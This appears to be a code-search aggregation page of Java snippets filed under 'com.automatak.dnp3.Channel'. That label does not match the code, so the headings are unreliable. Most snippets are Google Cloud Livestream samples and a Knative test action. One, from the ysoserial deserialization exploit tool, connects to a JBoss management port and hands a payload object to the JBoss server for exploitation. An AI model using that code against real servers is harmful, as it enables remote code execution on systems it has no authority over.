use of com.automatak.dnp3.Channel in project java-docs-samples by GoogleCloudPlatform.
the class CreateChannel method createChannel.
public static void createChannel(String projectId, String location, String channelId, String inputId, String outputUri) throws InterruptedException, ExecutionException, TimeoutException, IOException {
// the "close" method on the client to safely clean up any remaining background resources.
try (LivestreamServiceClient livestreamServiceClient = LivestreamServiceClient.create()) {
VideoStream videoStream = VideoStream.newBuilder().setH264(H264CodecSettings.newBuilder().setProfile("main").setBitrateBps(1000000).setFrameRate(30).setHeightPixels(720).setWidthPixels(1280)).build();
AudioStream audioStream = AudioStream.newBuilder().setCodec("aac").setChannelCount(2).setBitrateBps(160000).build();
var createChannelRequest = CreateChannelRequest.newBuilder().setParent(LocationName.of(projectId, location).toString()).setChannelId(channelId).setChannel(Channel.newBuilder().addInputAttachments(0, InputAttachment.newBuilder().setKey("my-input").setInput(InputName.of(projectId, location, inputId).toString()).build()).setOutput(Output.newBuilder().setUri(outputUri).build()).addElementaryStreams(ElementaryStream.newBuilder().setKey("es_video").setVideoStream(videoStream)).addElementaryStreams(ElementaryStream.newBuilder().setKey("es_audio").setAudioStream(audioStream)).addMuxStreams(MuxStream.newBuilder().setKey("mux_video").addElementaryStreams("es_video").setSegmentSettings(SegmentSettings.newBuilder().setSegmentDuration(Duration.newBuilder().setSeconds(2).build()).build()).build()).addMuxStreams(MuxStream.newBuilder().setKey("mux_audio").addElementaryStreams("es_audio").setSegmentSettings(SegmentSettings.newBuilder().setSegmentDuration(Duration.newBuilder().setSeconds(2).build()).build()).build()).addManifests(Manifest.newBuilder().setFileName("manifest.m3u8").setType(ManifestType.HLS).addMuxStreams("mux_video").addMuxStreams("mux_audio").setMaxSegmentCount(5).build())).build();
Channel result = livestreamServiceClient.createChannelAsync(createChannelRequest).get(1, TimeUnit.MINUTES);
System.out.println("Channel: " + result.getName());
}
}
use of com.automatak.dnp3.Channel in project java-docs-samples by GoogleCloudPlatform.
the class UpdateChannel method updateChannel.
public static void updateChannel(String projectId, String location, String channelId, String inputId) throws InterruptedException, ExecutionException, TimeoutException, IOException {
// the "close" method on the client to safely clean up any remaining background resources.
try (LivestreamServiceClient livestreamServiceClient = LivestreamServiceClient.create()) {
var updateChannelRequest = UpdateChannelRequest.newBuilder().setChannel(Channel.newBuilder().setName(ChannelName.of(projectId, location, channelId).toString()).addInputAttachments(0, InputAttachment.newBuilder().setKey("updated-input").setInput(InputName.of(projectId, location, inputId).toString()).build())).setUpdateMask(FieldMask.newBuilder().addPaths("input_attachments").build()).build();
Channel result = livestreamServiceClient.updateChannelAsync(updateChannelRequest).get(1, TimeUnit.MINUTES);
System.out.println("Updated channel: " + result.getName());
}
}
use of com.automatak.dnp3.Channel in project yaks by citrusframework.
the class CreateChannelAction method doExecute.
@Override
public void doExecute(TestContext context) {
Channel channel = new ChannelBuilder().withApiVersion(String.format("%s/%s", KnativeSupport.knativeMessagingGroup(), KnativeSupport.knativeApiVersion())).withNewMetadata().withNamespace(namespace(context)).withName(context.replaceDynamicContentInString(channelName)).withLabels(KnativeSettings.getDefaultLabels()).endMetadata().build();
getKnativeClient().channels().inNamespace(namespace(context)).createOrReplace(channel);
}
use of com.automatak.dnp3.Channel in project ysoserial by frohoff.
the class JBoss method doRun.
private static void doRun(URI u, final Object payloadObject, String username, String password) {
ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null;
Channel c = null;
VersionedConnection vc = null;
try {
Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler());
logger.setLevel(Level.INFO);
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options);
System.err.println("Connected");
vc = makeVersionedConnection(c);
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
doExploit(payloadObject, mbc);
System.err.println("DONE");
} catch (Throwable e) {
e.printStackTrace(System.err);
} finally {
cleanup(instance, context, ch, c, vc);
}
}
use of com.automatak.dnp3.Channel in project java-docs-samples by GoogleCloudPlatform.
the class TestUtils method cleanStaleChannels.
public static void cleanStaleChannels(String projectId, String location) {
try (LivestreamServiceClient livestreamServiceClient = LivestreamServiceClient.create()) {
var listChannelsRequest = ListChannelsRequest.newBuilder().setParent(LocationName.of(projectId, location).toString()).build();
LivestreamServiceClient.ListChannelsPagedResponse response = livestreamServiceClient.listChannels(listChannelsRequest);
for (Channel channel : response.iterateAll()) {
if (channel.getCreateTime().getSeconds() < Instant.now().getEpochSecond() - DELETION_THRESHOLD_TIME_HOURS_IN_SECONDS) {
// Stop the channel
try {
livestreamServiceClient.stopChannelAsync(channel.getName()).get(1, TimeUnit.MINUTES);
} catch (ExecutionException e) {
// Ignore error if the channel isn't stopped or the stop operation times out.
e.printStackTrace();
} catch (NotFoundException | InterruptedException | TimeoutException e) {
e.printStackTrace();
continue;
}
// Delete the channel events
var listEventsRequest = ListEventsRequest.newBuilder().setParent(channel.getName()).build();
LivestreamServiceClient.ListEventsPagedResponse eventsResponse = livestreamServiceClient.listEvents(listEventsRequest);
for (Event event : eventsResponse.iterateAll()) {
var deleteEventRequest = DeleteEventRequest.newBuilder().setName(event.getName()).build();
livestreamServiceClient.deleteEvent(deleteEventRequest);
}
// Delete the channel
var deleteChannelRequest = DeleteChannelRequest.newBuilder().setName(channel.getName()).build();
livestreamServiceClient.deleteChannelAsync(deleteChannelRequest).get(1, TimeUnit.MINUTES);
}
}
} catch (IOException e) {
e.printStackTrace();
} catch (NotFoundException | InterruptedException | ExecutionException | TimeoutException e) {
e.printStackTrace();
}
}
Aggregations